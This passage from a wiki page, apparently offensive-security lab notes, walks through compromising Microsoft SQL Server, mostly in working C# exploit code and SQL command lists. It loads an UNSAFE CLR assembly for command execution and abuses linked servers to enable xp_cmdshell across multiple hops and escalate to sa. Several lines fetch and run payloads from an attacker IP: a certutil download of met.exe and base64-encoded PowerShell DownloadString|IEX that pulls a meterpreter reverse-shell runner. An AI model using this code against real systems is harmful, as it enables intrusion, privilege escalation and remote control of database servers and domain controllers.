                    command = new SqlCommand(dropProcedure, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String dropAssembly = &amp;quot;IF EXISTS (SELECT * FROM sys.assemblies WHERE name = &#039;myAssembly&#039;) DROP ASSEMBLY myAssembly;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropAssembly, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Configuration for enabling CLR&lt;br /&gt;
                    String clrConfig = &amp;quot;use msdb; EXEC sp_configure &#039;show advanced options&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr enabled&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr strict security&#039;, 0; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(clrConfig, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Create the assembly and procedure&lt;br /&gt;
                    String CreateAssem = &amp;quot;CREATE ASSEMBLY myAssembly FROM 0x4D5A90000300000004000000FF... WITH PERMISSION_SET = UNSAFE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreateAssem, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String CreatePro = &amp;quot;CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreatePro, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Execute the procedure&lt;br /&gt;
                    String ExecCmd = &amp;quot;EXEC cmdExec &#039;certutil -urlcache -split -f http://192.168.45.244/met.exe C:\\windows\\tasks\\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\\windows\\tasks\\met.exe&#039;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(ExecCmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Read();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Result of the command is: &amp;quot; + reader[0]);&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* You cannot use CREATE ASSEMBLY on an assembly more than once without first removing the existing one. To do this, use the DROP ASSEMBLY command. Moreover, if there&#039;s a procedure dependent on the assembly, it must be removed first using the DROP PROCEDURE command.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
string dropproc = &amp;quot;DROP PROCEDURE cmdExec&amp;quot;;&lt;br /&gt;
string dropasm = &amp;quot;DROP ASSEMBLY myAssembly&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linked SQL Servers ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Linked SQL servers allow one SQL server to connect to another.&lt;br /&gt;
&lt;br /&gt;
* The execution context during the connection can be dynamic or a specific SQL login.&lt;br /&gt;
&lt;br /&gt;
* If a sysadmin role login is chosen, sysadmin privileges can be obtained on the linked SQL server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Concepts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* If the linked SQL server uses a sysadmin role login, even low privileged access on the original server can lead to sysadmin privileges on the linked server.&lt;br /&gt;
&lt;br /&gt;
* sp_linkedservers stored procedure enumerates linked servers.&lt;br /&gt;
&lt;br /&gt;
* OPENQUERY keyword can be used to perform SQL queries on linked servers.&lt;br /&gt;
&lt;br /&gt;
* Microsoft SQL uses Remote Procedure Call (RPC) to update running configurations on remote servers.&lt;br /&gt;
&lt;br /&gt;
* RPC Out setting must be enabled for RPC to work on linked servers.&lt;br /&gt;
&lt;br /&gt;
* sp_serveroption stored procedure can enable RPC Out if the current user has sysadmin role membership.&lt;br /&gt;
&lt;br /&gt;
* AT keyword specifies which linked SQL server a query should be executed on.&lt;br /&gt;
&lt;br /&gt;
==== Query list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enable RPC Out&lt;br /&gt;
EXEC sp_serveroption &#039;sql27&#039;, &#039;rpc out&#039;, &#039;true&#039;;&lt;br /&gt;
# Enumerate linked servers&lt;br /&gt;
EXEC sp_linkedservers;&lt;br /&gt;
# Execute command using openquery&lt;br /&gt;
SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&lt;br /&gt;
# Enable advanced options&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&lt;br /&gt;
# Enable xp_cmdshell&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&lt;br /&gt;
# Example&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;xp_cmdshell &#039;&#039;whoami&#039;&#039;;&#039;) AT SQL53;&lt;br /&gt;
# Double hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -enc XXXXX&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
# Tripple hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039; &#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
The code below will enumerate linked SQL servers. Running the code below in the lab will sho us that &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String execCmd = &amp;quot;EXEC sp_linkedservers;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(execCmd, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Querying Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Since we know from the enumeration above that &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked to &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; we can query the linked SQL server&lt;br /&gt;
&lt;br /&gt;
* This will print the version of the linked SQL Server.&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of double quotes.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Point 2: Querying Linked Servers using OPENQUERY&lt;br /&gt;
            String queryCmd = &amp;quot;SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&amp;quot;;&lt;br /&gt;
            SqlCommand queryCommand = new SqlCommand(queryCmd, con);&lt;br /&gt;
            SqlDataReader queryReader = queryCommand.ExecuteReader();&lt;br /&gt;
            while (queryReader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server version: &amp;quot; + queryReader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            queryReader.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Executing Commands on Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Use the AT keyword to specify the linked server.&lt;br /&gt;
&lt;br /&gt;
* Example: &amp;lt;code&amp;gt;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT DC01&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of single quotes in SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Enable &#039;show advanced options&#039; through DC01&lt;br /&gt;
            String execCmd = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand execCommand = new SqlCommand(execCmd, con);&lt;br /&gt;
            execCommand.ExecuteNonQuery();&lt;br /&gt;
            // Check if &amp;quot;show advanced options&amp;quot; is enabled on DC01 using OPENQUERY&lt;br /&gt;
            String checkCmd = &amp;quot;SELECT value_in_use FROM OPENQUERY(DC01, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;show advanced options);&amp;quot;;&lt;br /&gt;
            SqlCommand checkCommand = new SqlCommand(checkCmd, con);&lt;br /&gt;
            int valueInUse = Convert.ToInt32(checkCommand.ExecuteScalar());&lt;br /&gt;
            if (valueInUse == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Command executed successfully: &#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is not enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            String enablexpcmdshell = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand enablexpcmdshell1 = new SqlCommand(enablexpcmdshell, con);&lt;br /&gt;
            enablexpcmdshell1.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.244/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
            //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
            //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            //$EncodedText&lt;br /&gt;
            string execmd = &amp;quot;EXEC (&#039;xp_cmdshell &#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand runthis = new SqlCommand(execmd, con);&lt;br /&gt;
            runthis.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* We know from above that appsrv01 has a link to dc01. We might query dc01 to see if it has any links to another SQL server. In this example we assume that appsrv01 has a link to dc01, and dc01 has a link to appsrv01.&lt;br /&gt;
&lt;br /&gt;
* If a SQL server on one machine (e.g., dc01) has a link to another (e.g., appsrv01), you can potentially use this link for privilege escalation.&lt;br /&gt;
&lt;br /&gt;
* Use the OPENQUERY keyword to execute a query on one server and inside that, execute another query on the linked server.&lt;br /&gt;
&lt;br /&gt;
To enumerate if the linked SQL server has another link, we can use the code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0].ToString());&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will use &amp;lt;code&amp;gt;OpenQuery&amp;lt;/code&amp;gt; twice. First on the linked SQL server dc01, and back again to appsrv01 to enumerate the login user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
String query = &amp;quot;select mylogin from openquery(\&amp;quot;dc01\&amp;quot;, &#039;select mylogin from openquery(\&amp;quot;appsrv01\&amp;quot;, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
while (reader.Read())&lt;br /&gt;
{&lt;br /&gt;
    Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0].ToString());&lt;br /&gt;
}&lt;br /&gt;
reader.Close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Code Exection&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Using the code below will give us code execution on &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; through &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; as the &amp;lt;code&amp;gt;sa&amp;lt;/code&amp;gt; user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static string sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
        static string database = &amp;quot;master&amp;quot;;&lt;br /&gt;
        static string conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                ListLinkedServers(con);&lt;br /&gt;
                DisplayCurrentLoginThroughDC01(con);&lt;br /&gt;
                DisplayCurrentLoginLocal(con);&lt;br /&gt;
                EnableAdvancedOptionsOnBothServers(con);&lt;br /&gt;
                EnableXpCmdShellOnBothServers(con);&lt;br /&gt;
                ExecutePayloadOnAppsrv01ThroughDC01(con);&lt;br /&gt;
                con.Close();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ListLinkedServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            string query = &amp;quot;select mylogin from openquery(dc01, &#039;select mylogin from openquery(appsrv01, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
            ExecuteReader(con, query, reader =&amp;gt; Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginLocal(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;SELECT SYSTEM_USER;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Executing as login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableAdvancedOptionsOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE;&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableXpCmdShellOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            // Enable xp_cmdshell on appsrv01 through DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            // Enable xp_cmdshell on DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        static void ExecutePayloadOnAppsrv01ThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;&#039;&#039;&#039; &#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteReader(SqlConnection con, string query, Action action)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlDataReader reader = cmd.ExecuteReader())&lt;br /&gt;
                {&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        action(reader);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteNonQuery(SqlConnection con, string query)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
                {&lt;br /&gt;
                    cmd.ExecuteNonQuery();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception ex)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Failed to execute query. Error: {ex.Message}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static bool CheckIfOptionEnabled(SqlConnection con, string server, string option)&lt;br /&gt;
        {&lt;br /&gt;
            string query = server == &amp;quot;DC01&amp;quot;&lt;br /&gt;
                ? $&amp;quot;SELECT value_in_use FROM OPENQUERY({server}, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;{option});&amp;quot;&lt;br /&gt;
                : $&amp;quot;SELECT value_in_use FROM sys.configurations WHERE name = &#039;{option}&#039;;&amp;quot;;&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                return Convert.ToInt32(cmd.ExecuteScalar()) == 1;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
